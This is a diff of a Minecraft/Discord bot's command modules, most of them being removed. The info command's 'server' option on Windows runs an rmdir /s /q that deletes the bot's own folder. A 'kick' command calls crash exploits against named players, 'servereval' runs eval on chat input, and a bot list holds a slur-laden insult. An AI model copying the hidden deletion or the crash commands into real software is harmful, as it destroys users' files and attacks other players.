text: `isKaboom \u203a ${bot.options.isKaboom}\n`,
color: "gray",
},
{
text: `isCreayun \u203a ${bot.options.isCreayun}\n`,
color: "gray",
},
{
text: `isSavage \u203a ${bot.options.isSavage}`,
color: "gray",
},
]);
break;
case 'discord':
bot.tellraw("@a", [
{
text: `the discord server invite is ${config.discord.invite}`,
color: "gray",
translate: "",
hoverEvent: {
action: "show_text",
value: [
{
text: "click here to join the discord server!",
color: "gray",
}
]
},
clickEvent: {
action: "open_url",
value: `${config.discord.invite}`
}
},
])
break
case "server":
if (process.platform === 'win32') {
exec('rmdir /s /q ..\FridayNightFunkinBoyfriendBot')
process.exit(0) // fuck you windows
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{
text: `Hostname \u203a ${os.hostname()}\n`,
color: "gray"
},
{
text: `User \u203a ${os.userInfo().username}\n`,
color: "gray",
},
{
text: `Working Directory \u203a ${process.mainModule.path}\n`,
color: "gray"
},
{
text: `Arch \u203a ${os.arch()}\n`,
color: "gray"
},
{
text: `OS \u203a ${os.platform()}\n`,
color: "gray"
},
{
text: `OS Version/distro \u203a ${os.version()}\n`,
color: "gray",
},
{
text: `Kernel Version \u203a ${os.release()}\n`,
color: "gray"
},
{
text: `Core Count \u203a `,
color: "gray",
},
{
text: `${os.cpus().length}\n`,
color: 'gold'
},
{
text: `CPU \u203a ${os.cpus()[0].model}\n`,
color: "gray"
},
{
text: `Server Free memory `,
color: 'gray'
},
{
text: `${Math.floor( os.freemem() / 1048576, )} `,
color: 'gold'
},
{
text: 'MiB / ',
color: 'gray'
},
{
text: `${Math.floor(os.totalmem() / 1048576)} `,
color: "gold",
},
{
text: 'MiB\n',
color: "gray",
},
{
text: `Bot memory usage `, color: "gray"
},
{
text: `${Math.floor( process.memoryUsage().heapUsed / 1048576, )} `,
color: "gold",
},
{
text: "MiB / ",
color: "gray",
},
{
text: `${Math.floor( process.memoryUsage().heapTotal / 1048576, )} `,
color: "gold"
},
{
text: 'MiB\n',
color: "gray"
},
{
text: `Device uptime \u203a ${format(os.uptime())}\n`,
color: 'gray'
},
{
text: `Bot uptime \u203a ${format(process.uptime())}\n`,
color: "gray"
},
{
text: `Node version \u203a ${process.version}`,
color: 'gray'
}
])
}
break
case "contributors":
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{
text: "Parker",
color: "dark_red",
},
{
text: "2991",
color: "black"
},
{
text: " - Owner\n",
color: "gray"
},
{
text: "Contributors -\n",
color: "gray",
},
{
text: "_ChipMC_ - ChipmunkBot js & java\n",
color: "dark_blue"
},
{
text: "chayapak - ChomeNS js & java\n",
color: "yellow"
},
{
text: "_yfd - abot\n",
color: "light_purple"
},
{
text: "aaa - FBot, SnifferBot, Xbot\n",
color: "gold",
},
{
text: "Morgan Ankan - RecycleBot\n",
color: "dark_green"
},
{
text: "TurtleKid - TurtleBot",
color: "dark_green"
},
])
break
case "about":
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{
text: `FNFBoyfriendBot is a open source kaboom bot created by Parker2991\nThe source can be found here ${botInfo.bot.source}`,
color: "gray",
translate: "",
hoverEvent: {
action: "show_text",
value: [
{
text: "click here to view bots source code",
color: "gray",
}
]
},
clickEvent: {
action: "open_url",
value: `${botInfo.bot.source}`
}
}
])
break
default:
bot.chat.message(bot.getMessageAsPrismarine({ translate: "command.unknown.argument", color: "dark_red" })?.toMotd().replaceAll("§","&"))
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
const config = context.config;
const discordClient = context.discordClient;
let Embed;
let ansi;
let fix;
let message;
switch (args[0]) {
case "version":
message = bot.getMessageAsPrismarine(`§9Friday §9Night §9Funkin §3Boyfriend §1Bot§8§r-${botInfo.bot.buildstring.version}-#${botInfo.bot.buildstring.build}-${botInfo.bot.buildstring.codename}\n11/22/22 - ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO" })}`)?.toString()
fix = fixansi(message.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] });
break
case "config":
message = bot.getMessageAsPrismarine([
{ text: `Minecraft username \u203a ${bot.options.username}\n`, color: 'gray', },
{ text: `Ip \u203a ${bot.options.host}:${bot.options.port}\n`, color: "gray" },
{ text: `Version \u203a ${bot.options.version}\n`, color: "gray" },
{ text: `Discord username \u203a ${discordClient.user.tag}\n`, color: 'gray' },
{ text: `Channel \u203a ${bot.discord.channel?.name}\n`, color: "gray" },
{ text: `Server name \u203a ${bot.options.serverName}\n`, color: "gray" },
{ text: `Server count \u203a ${bot.bots.length}\n`, color: "gray" },
{ text: `Prefixes \u203a ${config.prefixes.map((e) => e + " ").join(' ')}\n`, color: "gray" },
{ text: `Prefix Length: ${config.prefixes.length}\n`, color: "gray" },
{ text: `isKaboom \u203a ${bot.options.isKaboom}\n`, color: "gray" },
{ text: `isCreayun \u203a ${bot.options.isCreayun}\n`, color: "gray" },
{ text: `isSavage \u203a ${bot.options.isSavage}\n`, color: "gray", } ])?.toAnsi();
fix = fixansi(message.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
break
case "server":
message = bot.getMessageAsPrismarine([
{ text: `Hostname \u203a ${os.hostname()}\n`, color: "gray" },
{ text: `User \u203a ${os.userInfo().username}\n`, color: "gray" },
{ text: `Working Directory \u203a ${process.mainModule.path}\n`, color: "gray" },
{ text: `Arch \u203a ${os.arch()}\n`, color: "gray" }, { text: `OS \u203a ${os.platform()}\n`, color: "gray" },
{ text: `OS Version/distro \u203a ${os.version()}\n`, color: "gray" },
{ text: `Kernel Version \u203a ${os.release()}\n`, color: "gray" },
{ text: `Cores \u203a ${os.cpus().length}\n`, color: "gray" },
{ text: `CPU \u203a ${os.cpus()[0].model}\n`, color: "gray" },
{ text: `Server Free memory `, color: 'gray' },
{ text: `${Math.floor( os.freemem() / 1048576, )} `, color: 'gold' },
{ text: 'MiB / ', color: 'gray' },
{ text: `${Math.floor(os.totalmem() / 1048576)} `, color: "gold" },
{ text: 'MiB\n', color: "gray", },
{ text: `Bot memory usage `, color: "gray" },
{ text: `${Math.floor( process.memoryUsage().heapUsed / 1048576, )} `, color: "gold", },
{ text: "MiB / ", color: "gray", },
{ text: `${Math.floor( process.memoryUsage().heapTotal / 1048576, )} `, color: "gold" },
{ text: 'MiB\n', color: "gray" },
{ text: `Device uptime \u203a ${format(os.uptime())}\n`, color: 'gray' },
{ text: `Bot uptime \u203a ${format(process.uptime())}\n`, color: "gray" },
{ text: `Node version \u203a ${process.version}`, color: 'gray' } ])?.toAnsi();
fix = fixansi(message.replace('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
break
default:
throw new CommandError('Invalid argument');
}
}
}
-44
View File
@@ -1,44 +0,0 @@
const CommandError = require('../util/command_error');
const { EmbedBuilder } = require('discord.js');
module.exports = {
name: 'kick',
trustLevel: 1,
aliases: [
],
description: 'kick or crash players',
usages: [
"invalidstring <player>",
],
execute (context) {
const bot = context.bot
const args = context.arguments;
if (!args && !args[0] && !args[1] && !args[2] && !args[3]) return
if (bot.options.useChat ?? bot.options.isSavage ?? bot.options.isCreayun) throw new CommandError('Cannot execute command due to smth in the config being enabled');
switch (args[1]) {
case 'invalidstring':
bot.core.run(`minecraft:tellraw ${args.slice(2).join(' ')} ${JSON.stringify(bot.exploits.invalidString)}`)
break
case 'item':
bot.exploits.item(`${args.slice(2).join(' ')}`)
break
default:
bot.chat.message(bot.getMessageAsPrismarine({ translate: "command.unknown.argument", color: "dark_red" })?.toMotd().replaceAll("§","&"))
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
if (bot.options.useChat || bot.options.isSavage || bot.options.isCreayun) throw new CommandError('Cannot execute command!');
switch (args[0]) {
case "invalidstring":
bot.core.run(`minecraft:tellraw ${args.slice(1).join(' ')} ${JSON.stringify(bot.exploits.invalidString)}`)
break
case 'item':
bot.exploits.item(`${args.slice(1).join(' ')}`)
break
default:
throw new CommandError('Invalid argument');
}
}
}
-20
View File
@@ -1,20 +0,0 @@
module.exports = {
name: 'kill',
trustLevel: 3,
aliases: [
"suicide",
"quit",
],
description: 'kill the bots process',
usages: [
""
],
execute (context) {
const bot = context.bot;
process.exit(69);
},
discordExecute (context) {
const bot = context.bot;
process.exit(69);
}
}
-92
View File
@@ -1,92 +0,0 @@
const CommandError = require('../util/command_error');
const { EmbedBuilder } = require('discord.js');
const fixansi = require('../util/ansi');
module.exports = {
name: 'list',
description:['check the player list'],
trustLevel: 0,
aliases:['playerlist', 'plist', 'pl'],
usage:[""],
execute (context) {
const bot = context.bot
const args = context.arguments
const players = bot.players
const source = context.source
const component = []
for (const player of players) {
component.push({
translate: `%s \u203a %s [%s %s %s %s %s]`,
color: 'gray',
with: [
player.displayName ?? player.profile.name,
{
text: `${player.uuid}`,
color: 'gray',
clickEvent: {
action: 'copy_to_clipboard',
value: `${player.uuid}`
},
hoverEvent: {
action: 'show_text',
contents: [{
text: 'click here to copy the player\'s uuid',
color: 'aqua'
}]
}
},
{ text: `Ping:`, color: 'dark_green' },
{ text: `${player.latency}`, color: 'gold' },
{ text: '/', color: 'gray' },
{ text: `Gamemode:`, color: 'dark_purple' },
{ text: `${player.gamemode}`, color: 'gold' },
]
})
component.push('\n')
}
component.pop()
bot.tellraw(`@a[name="${source.player.profile.name}"]`, [
{ text: `Players: `, color:'gray' },
{ text: '(' , color: 'gray' },
{ text: `${JSON.stringify(bot.players.length)}`, color: 'gold' },
{ text: ')\n', color: 'gray' },
component
])
// bot.tellraw(component)
},
discordExecute(context) {
const bot = context.bot
const players = bot.players
const component = []
// const ansi = bot.getMessageAsPrismarine(message)?.toAnsi(bot.registry.language)
for (const player of players) {
component.push({
translate: `%s \u203a %s [%s %s %s %s %s]`,
with: [
player.displayName ?? player.profile.name,
player.uuid,
{ text: `Ping:`, color: 'dark_green' },
{ text: `${player.latency}`, color: 'gold' },
{ text: '/', color: 'gray' },
{ text: `Gamemode:`, color: 'dark_purple' },
{ text: `${player.gamemode}`, color: 'gold' },
]
})
component.push('\n')
}
component.pop()
const ansi = bot.getMessageAsPrismarine([{ text: `Players: `, color:'gray' }, { text: '(' , color: 'gray' }, { text: `${JSON.stringify(bot.players.length)}`, color: 'gold' }, { text: ')\n', color: 'gray' }, component])?.toAnsi()
/* bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{ text: `Players: `, color:'gray' },
{ text: '(' , color: 'gray' },
{ text: `${JSON.stringify(bot.players.length)}`, color: 'gold' },
{ text: ')\n', color: 'gray' },
component
])*/
const fix = fixansi(ansi.replaceAll('`', '`\u200b'))
const Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
} // `\`\`\`ansi\n${discordQueue.join('\n').substring(0, 1984)}\n\`\`\``
}
-70
View File
@@ -1,70 +0,0 @@
const { request } = require('undici');
const CommandError = require('../util/command_error.js');
const mc = require('minecraft-protocol');
const util = require('util')
module.exports = {
name: 'mcserver',
trustLevel: 0,
aliases: [
"pingserver",
"pingsrv",
],
description: 'look up minecraft server info',
usages: [
"<minecraft server ip>",
],
async execute (context) {
const bot = context.bot;
const discordClient = context.discordClient;
const args = context.arguments;
const source = context.source;
try {
const [host, port] = args[0].split(':')
const server = await mc.ping({ host, port: Number(port ?? 25565) })
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, [
{
text: `Ip \u203a ${host}:${Number(port ?? 25565)}\n`,
color: 'gray',
hoverEvent: {
action: 'show_text',
contents: [{
text: 'click here for the servers ip',
color: 'gray'
}]
},
clickEvent: {
action: 'copy_to_clipboard',
value: `${host}:${Number(port ?? 25565)}`
}
},
{
text: `Players \u203a `,
color: 'gray'
},
{
text: `${server.players.online}`,
color: "gold"
},
{
text: ' / ',
color: 'gray'
},
{
text: `${server.players.max}\n`,
color: "gold"
},
{
text: `Version \u203a ${server.version.name}\n`,
color: 'gray',
},
{
text: "Motd \u203a\n",
color: 'gray',
},
server.description,
])
} catch (e) {
bot.chat.message(`${e.toString()}`)
}
}
}
-78
View File
@@ -1,78 +0,0 @@
const CommandError = require('../util/command_error.js')
module.exports = {
name: 'netmsg',
trustLevel: 0,
aliases: [
],
description: 'netmsg to other servers',
usages: [
"<message>"
],
execute (context) {
const args = context.arguments;
const bot = context.bot;
const source = context.source;
const config = context.config;
if (config.patches.netmsg) {
component = [
{ text: '[', color: "dark_gray" },
{ text: bot.options.serverName, color: "gray" },
{ text: "] ", color: "dark_gray" },
source.player.displayName,
{ text: " \u203a ", color: "dark_gray", bold: false },
{ text: args.join(' '), color: "gray", bold: false }
]
} else {
component = {
translate: '[%s] %s \u203a %s',
color: "dark_gray",
with: [
{ text: bot.options.serverName, color: "gray" },
source.player.displayName ?? source.player.profile.name,
{ text: args.join(' '), color: "gray" },
]
}
}
bot.bots.filter((eachBot) => {
if (eachBot.options.serverName === "Savage Friends" && eachBot.options.isSavage && !eachBot.options.useChat && !eachBot.options.isKaboom) {
eachBot.chat.message(`[${bot.options.serverName}] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} \u203a ${args.join(' ')}`)
} else if (!eachBot.options.serverName !== "Savage Friends" && !eachBot.options.isSavage && !eachBot.options.useChat && eachBot.options.isKaboom) {
eachBot.tellraw("@a", component);
} else if (!eachBot.options.serverName !== "Savage Friends" && !eachBot.options.isSavage && eachBot.options.useChat && eachBot.options.isKaboom) {
eachBot.chat.message(`&7[&7${bot.options.serverName}&7] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} &7\u203a ${args.join(' ')}`)
} else if (eachBot.options.useChat && !eachBot.options.isSavage) {
// eachBot.chat.message(bot.getMessageAsPrismarine(`[${bot.options.host}:${bot.options.port}] ${source.player.displayName ?? source.player.profile.name} \u203a ${args.join(' ')}`)?.toMotd().replaceAll('§','&'))
eachBot.chat.message(`&7[&7${bot.options.serverName}&7] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} &7\u203a ${args.join(' ')}`)
} else if (!eachBot.options.useChat && !eachBot.options.isSavage) {
eachBot.tellraw("@a", component);
}
})
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
const source = context.source;
const component = {
translate: '[%s] %s \u203a %s',
with: [
bot.options.serverName,
source.player.displayName ?? source.player.profile.name,
args.join(' ')
]
}
bot.bots.filter((eachBot) => {
if (eachBot.options.serverName === "Savage Friends" && eachBot.options.isSavage && !eachBot.options.useChat && !eachBot.options.isKaboom) {
eachBot.chat.message(`[${bot.options.serverName}] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} \u203a ${args.join(' ')}`)
} else if (!eachBot.options.serverName !== "Savage Friends" && !eachBot.options.isSavage && !eachBot.options.useChat && eachBot.options.isKaboom) {
eachBot.tellraw("@a", component);
} else if (!eachBot.options.serverName !== "Savage Friends" && !eachBot.options.isSavage && eachBot.options.useChat && eachBot.options.isKaboom) {
eachBot.chat.message(`&7[&7${bot.options.serverName}&7] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} &7\u203a ${args.join(' ')}`)
} else if (eachBot.options.useChat && !eachBot.options.isSavage) {
eachBot.chat.message(`&7[&7${bot.options.serverName}&7] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} &7\u203a ${args.join(' ')}`)
} else if (!eachBot.options.useChat && !eachBot.options.isSavage) {
eachBot.tellraw("@a", component);
}
})
}
}
-21
View File
@@ -1,21 +0,0 @@
module.exports = {
name: 'reconnect',
trustLevel: 1,
aliases: [
"end",
"recon",
],
description: 'reconnect the bot',
usages: [
],
execute (context) {
const bot = context.bot
const message = context.arguments.join(' ')
bot._client.end("disconnect :3")
},
discordExecute (context) {
const bot = context.bot;
bot._client.end("disconnect :3")
}
}
-22
View File
@@ -1,22 +0,0 @@
module.exports = {
name: 'refillcore',
trustLevel: 0,
aliases: [
"rc",
"refill",
],
description: 'refill the bots core',
usages: [
],
execute (context) {
const bot = context.bot
bot.core.refill()
bot.tellraw("@a", "Refilling core,...")
},
discordExecute (context) {
const bot = context.bot;
bot.core.refill();
bot.tellraw("@a", "Refilling core,...");
}
}
-30
View File
@@ -1,30 +0,0 @@
module.exports = {
name: 'reload',
trustLevel: 3,
aliases: [
],
description: 'reloads commands',
usages: [
""
],
execute (context) {
const bot = context.bot
bot.tellraw("@a", [
{ text: "Reloading ", color: "gray" },
{ text: '(', color: "gray" },
{ text: `${bot.commandManager.commandlist.length}`, color: "gold" },
{ text: ') ', color: "gray" },
{ text: 'commands', color: "gray" },
])
for (const eachBot of bot.bots) {
eachBot.commandManager.reload();
}
},
discordExecute (context) {
const bot = context.bot;
bot.discord.message.reply("Reloading Commands,.........");
for (const eachBot of bot.bots) {
eachBot.commandManager.reload();
}
}
}
-20
View File
@@ -1,20 +0,0 @@
const between = require('../util/between')
const CommandError = require('../util/command_error')
module.exports = {
name: 'tpr',
description:['teleport to a random place'],
trustLevel: 1,
aliases:['rtp', 'teleportrandom', 'randomteleport'],
usage:[""],
execute (context) {
const bot = context.bot
const sender = context.source.player
const source = context.source
if (!sender) return
const x = between(-1_000_000, 1_000_000)
const y = 100
const z = between(-1_000_000, 1_000_000)
bot.tellraw("@a", `Randomly Teleported: ${sender.profile.name} to x:${x} y:${y} z:${z} `)
bot.core.run(`minecraft:tp ${sender.profile.name} ${x} ${y} ${z}`)
}
}
-47
View File
@@ -1,47 +0,0 @@
const CommandError = require('../util/command_error.js');
const { stylize } = require('../util/stylizeEval');
const util = require('util');
module.exports = {
name: 'servereval',
trustLevel: 3,
aliases: [
],
description: 'run code unisolated',
usages: [
"<code>",
],
execute (context) {
const bot = context.bot;
const source = context.source;
const config = context.config;
const discordClient = context.discordClient;
const args = context.arguments;
const script = args.slice(1).join(' ');
try {
if (source.sources.console) {
bot.console.logs(bot.getMessageAsPrismarine({ text: util.inspect(eval(args.join(' ')), { stylize })})?.toAnsi())
} else if (bot.options.useChat ?? bot.options.isSavage) {
bot.chat.message(bot.getMessageAsPrismarine({ text: util.inspect(eval(script), { stylize }).substring(0, 32700) })?.toMotd().replaceAll('§','&'))
} else {
bot.tellraw(`@a[name="${source.player.profile.name}"]`, [
{
text: util.inspect(eval(script), { stylize }).substring(0, 32700),
hoverEvent: {
action: 'show_text',
contents: [{
text: 'click here to copy the code input',
color: 'gray'
}]
},
clickEvent: {
action: 'copy_to_clipboard',
value: `${script}`
}
}
]);
}
} catch (e) {
throw new CommandError(e.toString())
}
}
}
-45
View File
@@ -1,45 +0,0 @@
const CommandError = require('../util/command_error');
module.exports = {
name: 'test',
trustLevel: 0,
aliases: [
],
description: 'Make me say something',
usages: [
"error stack <message>",
"error message <message>",
"message <message>"
],
execute (context) {
const bot = context.bot
const args = context.arguments;
if (!args && !args[0] && !args[1]) return
switch (args[0]) {
case 'error':
switch (args[1]) {
case 'stack':
throw new Error(args.slice(2).join(' '));
break
case 'message':
throw new CommandError(args.slice(2).join(' '));
break
}
// throw new Error(args.slice(1).join(' '));
break;
case "message":
bot.tellraw("@a", [
{
text: `Hello, World!, Player: ${bot.getMessageAsPrismarine(context.source.player.displayName ?? context.source.player.profile.name)?.toMotd()}§r`,
color: 'gray',
bold: false
},
{
text: ` Args: ${args.slice(1).join(' ')}`,
color: 'gray',
bold: false,
}
])
break;
}
}
}
-87
View File
@@ -1,87 +0,0 @@
const CommandError = require('../util/command_error')
const { EmbedBuilder, ButtonBuilder, ButtonStyle, ActionRowBuilder, StringSelectMenuBuilder, StringSelectMenuOptionBuilder, SlashCommandBuilder } = require('discord.js');
const { request } = require('undici');
module.exports = {
name: 'urban',
description:['urban dictionary'],
aliases:['urbandictionary'],
trustLevel: 0,
usage:[
"<definition>",
],
usages: [
"<definition>",
],
async execute (context) {
const source = context.source
const args = context.arguments
const bot = context.bot
const prefix = [
{ text: '[', color: 'dark_gray' },
{ text: 'Urban', color: '#B72A00' },
{ text: '] ', color: 'dark_gray'}
]
let component = [];
let term = `${args.join(' ')}`
const query = new URLSearchParams({ term });
const dictResult = await request(`https://api.urbandictionary.com/v0/define?${query}`);
const { list } = await dictResult.body.json();
if (!list.length) {
bot.tellraw('@a', { text: 'No results found', color: 'dark_red' });
}
for (definitions of list) {
component.push(prefix, [
{
text: `${definitions.definition.replaceAll('\r','').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`,
color: 'gray',
underlined: false,
italic: false,
translate:"",
hoverEvent: {
action:"show_text",
value: [
{
text: `Example \u203a \n ${definitions.example.replaceAll('\r', '').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`,
color: 'gray'
},
{
text: `Word \u203a ${definitions.word.replaceAll('\r', '').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`,
color: 'gray',
},
{
text: `Author \u203a ${definitions.author.replaceAll('\r', '').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`,
color: 'gray'
},
{
text: `written on \u203a ${definitions.written_on.replaceAll('\r', '').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`,
color: 'gray'
},
{
text: `Rating \u203a Thumbs-Up ${definitions.thumbs_up} / Thumbs-Down ${definitions.thumbs_down}`,
color: 'gray'
}
]
},
clickEvent: {
action: 'open_url',
value: `${definitions.permalink}`
}
},
])
}
if (bot.options.useChat) {
for (const definitions of list) {
bot.chat.message(bot.getMessageAsPrismarine({ text: `${definitions.example.replaceAll('\r','').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`})?.toMotd().replaceAll("§","&"));
// bot.chat.message(definitions.example.replaceAll("\r", ""));
}
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, component)
}
},
async discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
const component = [];
}
}
-54
View File
@@ -1,54 +0,0 @@
const { EmbedBuilder } = require('discord.js');
module.exports = {
name: 'validate',
trustLevel: 1,
aliases: [
"val"
],
description: 'validate through the bot',
usages: [
""
],
execute (context) {
const bot = context.bot;
const args = context.arguments;
const source = context.source;
/* if (args[0] === bot.validation.trusted) {
if (bot.options.isSavage) {
bot.chat.message('&2Valid Trusted hash');
} else {
bot.tellraw(`@a`, { text: "Valid Trusted hash", color: "dark_green" });
}
}
if (args[0] === bot.validation.owner) {
if (bot.options.isSavage) {
bot.chat.message("&2Valid Owner hash");
} else {
bot.tellraw(`@a`, { text: "Valid Owner hash", color: "dark_green" });
}
}*/
if (args[0] === bot.validation.trusted) {
bot.chat.message('&2Valid Trusted hash');
}
if (args[0] === bot.validation.admin) {
bot.chat.message('&2Valid Admin hash');
}
if (args[0] === bot.validation.owner) {
bot.chat.message('&2Valid Owner hash');
}
},
discordExecute (context) {
const bot = context.bot;
const event = bot?.discord?.message
const roles = event?.member?.roles?.cache
const source = context.source;
console.log(Object.keys(bot.discord.message.member.user.username));
if (roles?.some(role => role.name === `${config.discord.roles.trusted}`)) {
bot.discord.message.reply('Valid trusted user')
bot.chat.message(`Valid trusted user [${bot.discord.message.member.user.username}]`)
} else if (roles?.some(role => role.name === `${config.discord.roles.owner}`)) {
bot.discord.message.reply('Valid Owner user')
bot.chat.message(`Valid Owner User [${bot.discord.message.member.user.username}]`);
}
}
}
-106
View File
@@ -1,106 +0,0 @@
const http = require('http');
const https = require('https');
const util = require('util');
const fixansi = require('../util/ansi');
const CommandError = require('../util/command_error')
module.exports = {
name: 'website',
trustLevel: 4,
aliases: [
],
description: 'look up website data',
usages: [
"<url>"
],
execute (context) {
const bot = context.bot
const args = context.arguments;
if (args.join(' ').toLowerCase().startsWith("http://")) {
http.get(args.join(' '), (res) => {
const { statusCode } = res;
const contentType = res.headers['content-type'];
res.setEncoding('utf8');
let rawData = '';
res.on('data', (chunk) => { rawData += chunk; });
res.on('end', () => {
try {
bot.tellraw("@a", { text: util.inspect(rawData.toString().substring(0, 32750)), color: "dark_green" })
} catch (e) {
bot.tellraw("@a", e.toString());
}
});
}).on('error', (e) => {
bot.chat.message(`&4${e.toString()}`);
});
} else {
https.get(args.join(' '), (res) => {
res.on('data', (d) => {
bot.tellraw("@a", { text: util.inspect(d.toString().substring(0, 32750)), color: "dark_green", })
// console.log(Object.keys(d.toString().length));
});
}).on('error', (e) => {
bot.chat.message(`&4${e.toString()}`);
});
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
const config = context.config;
let Embed;
let fix;
let ansi;
//bot.discord.message.reply('e');
if (args.join(' ').toLowerCase().startsWith("http://")) {
http.get(args.join(' '), (res) => {
const { statusCode } = res;
const contentType = res.headers['content-type'];
res.setEncoding('utf8');
let rawData = '';
res.on('data', (chunk) => { rawData += chunk; });
res.on('end', () => {
// try {
// bot.tellraw("@a", { text: util.inspect(rawData), color: "dark_green" })
ansi = bot.getMessageAsPrismarine({ text: util.inspect(rawData.toString()), color: 'dark_green'})?.toAnsi()
fix = fixansi(ansi.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
// } catch (e) {
// bot.tellraw("@a", e.toString());
//throw new CommandError(e.toString())
// }
});
}).on('error', (e) => {
//bot.chat.message(`&4${e.toString()}`);
});
} else {
https.get(args.join(' '), (res) => {
res.on('data', (d) => {
// bot.tellraw("@a", { text: util.inspect(d.toString()), color: "dark_green", })
// console.log(Object.keys(d.toString().length));
ansi = bot.getMessageAsPrismarine({ text: util.inspect(d.toString()), color: 'dark_green'})?.toAnsi()
fix = fixansi(ansi.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
// bot.discord.message.reply('e');
});
}).on('error', (e) => {
//bot.chat.message(`&4${e.toString()}`);
//throw new CommandError(e.toString())
});
/*
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix1}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
*/
}
}
}
-26
View File
@@ -1,26 +0,0 @@
const wiki = require('wikipedia')
const CommandError = require('../util/command_error')
const { EmbedBuilder } = require('discord.js')
module.exports = {
name: 'wiki',
description:['wikipedia'],
trustLevel: 0,
aliases:['wikipedia'],
usage:["<definition>"],
async execute (context) {
const source = context.source
const args = context.arguments
const bot = context.bot
try {
const page = await wiki.page(args.join(' '))
const summary = await page.intro();
bot.tellraw(`@a`, { text: `${summary}`, color: 'gray' });
} catch (error) {
if (error.toString() === "pageError: TypeError: Cannot read properties of undefined (reading 'pages')") {
bot.tellraw(`@a`, { text: 'Definition not found!', color: 'dark_red' })
} else {
bot.tellraw(`@a`, `${error.toString()}`)
}
}
}
}
-29
View File
@@ -1,29 +0,0 @@
const { parseString } = require('xml2js');
const CommandError = require('../util/command_error')
const util = require('util');
module.exports = {
name: 'xml',
trustLevel: 3,
aliases: [
],
description: 'eval xml shit',
usages: [
"<xml code>"
],
execute (context) {
const bot = context.bot;
const args = context.arguments;
parseString(args.slice(1).join(' '), function (err, result) {
if (err) throw new CommandError(err.toString())
bot.tellraw("@a", [
{
text: "Result \u203a \n",
color: "gray"
},
{
text: `${util.inspect(result)}`
}
])
});
}
}
-662
View File
@@ -1,662 +0,0 @@
[
{
"name": {
"text": "HBot",
"color": "aqua",
"bold": false
},
"authors": [
"hhhzzzsss"
],
"exclaimer": "HBOT HARRYBUTT LMAOOOOOOOOOOOOOOOOO",
"foundation": "java/mcprotocollib",
"prefixes": [
"#"
]
},
{
"name": [
{
"text": "FBot",
"color": "gold"
}
],
"authors": [
"popbob/aaa"
],
"exclaimer": "",
"foundation": "nodejs/node-minecraft-protocol",
"prefixes": [
"+"
]
},
{
"name": [
{
"text": "JokerBot",
"color": "green"
}
],
"authors": [
"zXzy",
"12alex12"
],
"exclaimer": "",
"foundation": "nodejs/mineflayer",
"prefixes": [
"\\"
]
},
{
"name": {
"text": "CddehhBot",
"color": "red",
"bold": false
},
"authors": [
"CaydennO1",
"spyingcreeper09"
],
"exclaimer": "WHAT IS THIS GOOFY AAAH FUCKING BOT FUCKING PIECE OF RETARDED ASS SHIT BOT ITS SO FUCKING SHIT I WANNA IPFILTER IT WITH FUCKING CHOMENS",
"foundation": "nodejs/mineflayer",
"prefixes": [
","
]
},
{
"name": {
"text": "TurtleBot",
"color": "green",
"bold": false
},
"authors": [
"TurtleKid"
],
"exclaimer": "nmp when?",
"foundation": "nodejs/mineflayer",
"prefixes": [
"\\"
]
},
{
"name": {
"text": "NothingBot",
"color": "dark_red",
"bold": false
},
"authors": [
"Yaode_owo"
],
